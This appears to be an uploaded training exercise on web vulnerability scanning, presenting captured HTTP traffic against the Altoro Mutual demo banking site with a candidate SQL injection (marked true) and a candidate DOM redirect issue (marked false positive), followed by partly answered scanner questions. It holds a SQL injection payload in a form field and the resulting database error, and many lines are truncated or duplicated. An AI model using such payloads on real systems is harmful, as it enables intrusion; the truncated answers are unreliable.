Veugopal

POST /bank/transaction.aspx HTTP/1.
1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cookie: amCreditOffer=CardType=Gold&Limit=10000&Interest=7.9; amSessionId=422427664; ASP.NET_SessionId=42g5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: demo.testfire.net
Referer: https://demo.testfire.net/bank/transaction.aspx
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Content-Length: 80
__VIEWSTATE=%2FwEPDwUKMTYzNDg3OTA4NmRk&after=1234&before=1234%27+having+1%3D1--+
HTTP/1.1 500 Internal Server Error

Connection: close
Server: Microsoft-IIS/8.0
Pragma: no-cache
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache
X-Powered-By: ASP.NET
Date: Mon, 12 Sep 2016 09:04:24 GMT
Expires: -1
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>500 - Internal server error.</title>
<style type="text/css">

</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>500 - Internal server error.</h2>
<h3>There is a problem with the resource you are looking for, and it cannot be displayed.</h3>
</fieldset></div>
</div>
</body>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tran
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<head id="_ctl0_head"><title>
Altoro Mutual: Server Error
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="styles
<body style="margin-top:5px;">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tran

</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="styles
<div id="header" style="margin-bottom:5px; width: 99%;">

<form id="frmSearch" method="get" action="/search.aspx">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td rowspan="2"><a id="_ctl0_HyperLink1" href="../default.aspx" style="height:80px;width:183px;"><img src="../im
<td align="right" valign="top">
<a id="_ctl0_LoginLink" title="Please click here to sign out of the Online Banking application. You may also want to c
id="_ctl0_HyperLink3" href="../default.aspx?content=inside_contact.htm">Contact Us</a> | <a id="_ctl0_HyperLink4"
<input type="text" name="txtSearch" id="txtSearch" accesskey="S" />
<input type="submit" value="Go" />
</td>
</tr>
<tr>
<td align="right" style="background-image:url(/images/gradient.jpg);padding:0px;margin:0px;"><img id="_ctl0_Image
</tr>
</table>
</form>
</div>
<div id="wrapper" style="width: 99%;">
<div class="err" style="width: 99%;">
<h1>An Error Has Occurred</h1>
<h2>Summary:</h2>
<p><b><span id="_ctl0_Content_lblSummary">Syntax error in string in query expression '1=1 and t.trans_date >= 1
</span></b></p>
<h2>Error Message:</h2>
<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb.OleDbException: Syntax error in string in query expression

at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object&amp
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, ID
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at Altoro.RecentTransactions.BindGrid() in c:\downloads\AltoroMutual_v6\website\bank\transaction.aspx.cs:line 71
at Altoro.RecentTransactions.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website\ban
at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)
at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e)
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsy
</div>
</div>
<div id="footer" style="width: 99%;">

<a id="_ctl0_HyperLink5" href="../default.aspx?content=privacy.htm">Privacy Policy</a>
  |
<a id="_ctl0_HyperLink6" href="../default.aspx?content=security.htm">Security Statement</a>
  |
© 2016 Altoro Mutual, Inc.
<div class="disclaimer">
The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of
  |
  |
demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities,
if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does
not assume any risk in relation to your use of this website. For additional Terms of Use,
please go to <a id="_ctl0_HyperLink7" href="http://www.watchfire.com/statements/terms.aspx">http://www.wat
Copyright © 2016, Watchfire Corporation, All rights reserved.

</div>
</div>
</body>
</html>
Please identify the vulnerability from the request and response, and then write down the answer. Also, please id
Vulnerability
Answer: True
Request / Response
POST /bank/transaction.aspx HTTP/1.1
Cookie: amCreditOffer=CardType=Gold&Limit=10000&Interest=7.9; amSessionId=422427664; ASP.NET_SessionId=42g5hu
Referer: https://demo.testfire.net/bank/transaction.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
__VIEWSTATE=%2FwEPDwUKMTYzNDg3OTA4NmRk&after=1234&before=1234%27+having+1%3D1--+
HTTP/1.1 500 Internal Server Error

Connection: close
Pragma: no-cache
Cache-Control: no-cache
Date: Mon, 12 Sep 2016 09:04:24 GMT
Expires: -1
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>500 - Internal server error.</title>

</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>500 - Internal server error.</h2>
<h3>There is a problem with the resource you are looking for, and it cannot be displayed.</h3>
</fieldset></div>
</div>
</body>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transiti

</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="styleshee
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transiti

</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="styleshee
<div id="header" style="margin-bottom:5px; width: 99%;">

<form id="frmSearch" method="get" action="/search.aspx">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td rowspan="2"><a id="_ctl0_HyperLink1" href="../default.aspx" style="height:80px;width:183px;"><img src="../ima
<td align="right" valign="top">
<a id="_ctl0_LoginLink" title="Please click here to sign out of the Online Banking application. You may also want to clos
id="_ctl0_HyperLink3" href="../default.aspx?content=inside_contact.htm">Contact Us</a> | <a id="_ctl0_HyperLink4" hr
<input type="text" name="txtSearch" id="txtSearch" accesskey="S" />
<input type="submit" value="Go" />
</td>
</tr>
<tr>
<td align="right" style="background-image:url(/images/gradient.jpg);padding:0px;margin:0px;"><img id="_ctl0_Image1"
</tr>
</table>
</form>
</div>
<div id="wrapper" style="width: 99%;">
<div class="err" style="width: 99%;">
<h1>An Error Has Occurred</h1>
<h2>Summary:</h2>
<p><b><span id="_ctl0_Content_lblSummary">Syntax error in string in query expression '1=1 and t.trans_date >= 123
</span></b></p>
<h2>Error Message:</h2>
<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb.OleDbException: Syntax error in string in query expression '1

at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& e
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 m
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbC
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at Altoro.RecentTransactions.BindGrid() in c:\downloads\AltoroMutual_v6\website\bank\transaction.aspx.cs:line 71
at Altoro.RecentTransactions.Page_Load(Object sender, EventArgs e) in c:\downloads\AltoroMutual_v6\website\bank\t
at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e)
at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e)
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsync
</div>
</div>

  |
  |
  |
  |
demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities,
if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does
not assume any risk in relation to your use of this website. For additional Terms of Use,
please go to <a id="_ctl0_HyperLink7" href="http://www.watchfire.com/statements/terms.aspx">http://www.watchfi
Copyright © 2016, Watchfire Corporation, All rights reserved.

</div>
</div>
</body>
</html>
RtaW4=
</a> | <a
GET /disclaimer.htm HTTP/1.1
Cookie: amCreditOffer=CardType=Gold&Limit=10000&Interest=7.9; ASP.NET_SessionId=yuka3uj4yfvsoxbzknebsfax; am
Referer: https://demo.testfire.net/bank/customize.aspx
HTTP/1.1 200 OK
Content-Length: 5726
Set-Cookie: lang=international
SecondAppScanHeader: whatever; path=/
Date: Mon, 12 Sep 2016 08:30:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private
<html>
<head>
<title>Altoro Mutual: Link Disclaimer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</style>
<script>
function go(sDestination) {
window.opener.location.href = sDestination;
cl();
}
function cl() {
window.close();
}
var iPos = document.URL.indexOf("url=")+4;

var sDst = document.URL.substring(iPos,document.URL.length);
</script>
</head>
<body bgcolor=#FFFFFF link="#5811B0" vlink="#5811B0" leftmargin="0" topmargin="0" marginwidth="0" marginheigh
<center>
<table width=90% border=0>
<tr>
<td>
<p>This hyperlink allows you to access a third party website:
<br /><br />
<b><script>document.write(unescape(sDst));</script></b>
<br /><br />
Please read the privacy policy of the linked website, which
may differ from the privacy policy of the Altoro Mutual website.
<br /><br />
Click OK to continue or Cancel to remain on altoromutual.com.
</p>
<td>
<br /><br />
<br /><br />
<br /><br />
</p>
<a href="#" onclick="go(sDst);return false;"><img src="images/ok.gif" id="ok" alt="ok" border="0"></a>
<a href="#" onclick="cl();return false;"><img src="images/cancel.gif" id="cancel" alt="cancel" border="0"></a>
</td>
</tr>
</table>
</center>
</body>
</html>
Please identify the vulnerability from the request and response, and then write down the answer. Also, please id
Vulnerability
Answer: false positive
Request / Response
GET /disclaimer.htm HTTP/1.1
Cookie: amCreditOffer=CardType=Gold&Limit=10000&Interest=7.9; ASP.NET_SessionId=yuka3uj4yfvsoxbzknebsfax; amSe
Referer: https://demo.testfire.net/bank/customize.aspx
HTTP/1.1 200 OK
Content-Length: 5726
Set-Cookie: lang=international
SecondAppScanHeader: whatever; path=/
Date: Mon, 12 Sep 2016 08:30:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private
<html>
<head>
<title>Altoro Mutual: Link Disclaimer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</style>
<script>
function go(sDestination) {
window.opener.location.href = sDestination;
cl();
}
function cl() {
window.close();
}
var iPos = document.URL.indexOf("url=")+4;

var sDst = document.URL.substring(iPos,document.URL.length);
</script>
</head>
<body bgcolor=#FFFFFF link="#5811B0" vlink="#5811B0" leftmargin="0" topmargin="0" marginwidth="0" marginheight="
<center>
<table width=90% border=0>
<tr>
<td>
<br /><br />
<br /><br />
<br /><br />
</p>
<td>
<br /><br />
<br /><br />
<br /><br />
</p>
<a href="#" onclick="go(sDst);return false;"><img src="images/ok.gif" id="ok" alt="ok" border="0"></a>
<a href="#" onclick="cl();return false;"><img src="images/cancel.gif" id="cancel" alt="cancel" border="0"></a>
</td>
</tr>
</table>
</center>
</body>
</html>
ord=RGVtbzEyMzQ=; lang=
The following questions are related to web application scanner such as IBM AppScan. Please write down the answ
QA - 01
Question
How do you prepare test cases before you run web application vulnerability scanner?
Answer
before we scan the web application for any vulnerabilities firstly we need to have written approval from the clien
which includes what has to be scanned an
QA - 02
Question
What should you do to scan user registration function properly?
Answer
QA - 03
Question
How do you check whether the scan is successfully done or not?
Answer
We can check it on the status if the scan is still running we see the status as running if completed it displays as co

Veugopal

Caricato da

Informazioni sul documento

Copyright

Condividi questo documento

Condividi o incorpora il documento

Opzioni di condivisione

Hai trovato utile questo documento?

Questo contenuto è inappropriato?

Copyright:

Veugopal

Caricato da

Copyright:

POST /bank/transaction.aspx HTTP/1.

HTTP/1.1 500 Internal Server Error

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-tran

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<div id="header" style="margin-bottom:5px; width: 99%;">

<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb.OleDbException: Syntax error in string in query expression

<div id="footer" style="width: 99%;">

Copyright &copy; 2016, Watchfire Corporation, All rights reserved.

HTTP/1.1 500 Internal Server Error

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transiti

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<div id="header" style="margin-bottom:5px; width: 99%;">

<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb.OleDbException: Syntax error in string in query expression '1

<div id="footer" style="width: 99%;">

Copyright &copy; 2016, Watchfire Corporation, All rights reserved.

var iPos = document.URL.indexOf("url=")+4;

<body bgcolor=#FFFFFF link="#5811B0" vlink="#5811B0" leftmargin="0" topmargin="0" marginwidth="0" marginheigh

Answer: false positive

var iPos = document.URL.indexOf("url=")+4;

<body bgcolor=#FFFFFF link="#5811B0" vlink="#5811B0" leftmargin="0" topmargin="0" marginwidth="0" marginheight="

What should you do to scan user registration function properly?

How do you check whether the scan is successfully done or not?

Potrebbero piacerti anche

Copyright © 2016, Watchfire Corporation, All rights reserved.

Copyright © 2016, Watchfire Corporation, All rights reserved.